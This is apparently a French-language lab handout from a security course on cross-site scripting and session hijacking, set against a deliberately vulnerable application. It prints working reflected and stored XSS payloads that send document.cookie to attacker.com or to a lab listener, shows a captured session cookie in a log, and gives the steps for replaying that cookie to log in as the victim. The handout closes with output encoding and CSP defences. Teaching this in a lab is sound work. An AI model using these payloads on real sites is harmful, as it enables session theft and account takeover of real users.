Lab 6.3: XSS et Session Hijacking
Objectifs d'Apprentissage
À la fin de ce laboratoire, vous serez capable de:
- Comprendre les attaques Cross-Site Scripting (XSS)
- Différencier XSS Reflected, Stored et DOM-based
- Injecter du JavaScript malveillant dans une application web
- Voler des cookies de session
- Réaliser une attaque de session hijacking
- Se connecter comme un autre utilisateur sans connaître son mot de passe
- Détecter les vulnérabilités XSS dans le code
- Implémenter des protections (output encoding, CSP)
Durée Estimée
35 minutes
Prérequis
- Application web vulnérable (DVWA ou application fournie)
- Serveur web local (XAMPP/WAMP)
- Navigateur web
- Compréhension de HTML et JavaScript de base
- Lab 6.2 (SQL Injection) complété
Contexte Professionnel
XSS est classé dans OWASP Top 10. Permet:
- Vol de cookies et sessions
- Defacement de sites
- Redirection vers sites malveillants
- Keylogging côté client
- Vol d'informations sensibles
Cas réels:
- Twitter (2010): XSS worm auto-propagé
- eBay (2014): XSS persistent
- British Airways (2018): Skimming via XSS
AVERTISSEMENT ÉTHIQUE ET LÉGAL
XSS permet de voler des sessions utilisateur et d'exécuter du code malveillant dans le navigateur des victimes.
AUTORISÉ:
- Applications de lab
- Bug bounty autorisé
- Tests avec permission
INTERDIT:
- Sites réels sans autorisation
- Vol de sessions d'autrui
- Defacement de sites
Partie 1: XSS Reflected
Test Basique
Dans un champ de recherche ou URL:
<script>alert('XSS')</script>
Si une popup s'affiche: Vulnérable!
Explication: Le JavaScript est exécuté dans le navigateur de la victime.
Vol de Cookies
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Cookie envoyé au serveur attaquant!
Partie 2: XSS Stored (Plus Dangereux)
Injection dans Commentaires
Dans un champ de commentaire:
<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>
Sauvegardé dans la base de données!
Chaque visiteur qui voit le commentaire:
- JavaScript exécuté
- Cookie volé automatiquement
- Session compromise
Partie 3: Session Hijacking
Étape 1: Voler le Cookie
XSS payload:
<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Sur VM attaquant, écouter:
python3 -m http.server 8000
Quand victime visite la page:
192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -
Cookie capturé: PHPSESSID=abc123xyz456
Étape 2: Utiliser le Cookie Volé
Avec l'extension "EditThisCookie" ou console développeur:
document.cookie = "PHPSESSID=abc123xyz456";
location.reload();
Rafraîchissez la page:
BOOM! Connecté comme la victime SANS mot de passe!
Partie 4: Protection
Code Vulnérable
echo "Bonjour " . $_GET['name'];
Code Sécurisé
echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
htmlspecialchars: Convertit < en <, bloque execution!
Content Security Policy (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
Bloque tout JavaScript inline!
Livrables
- Rapport avec captures d'écran XSS fonctionnel
- Cookie volé et session hijacking réussi
- Code vulnérable vs sécurisé
- Recommandations de protection
Lab développé dans le cadre du cours Systèmes d'Exploitation - MODULE 6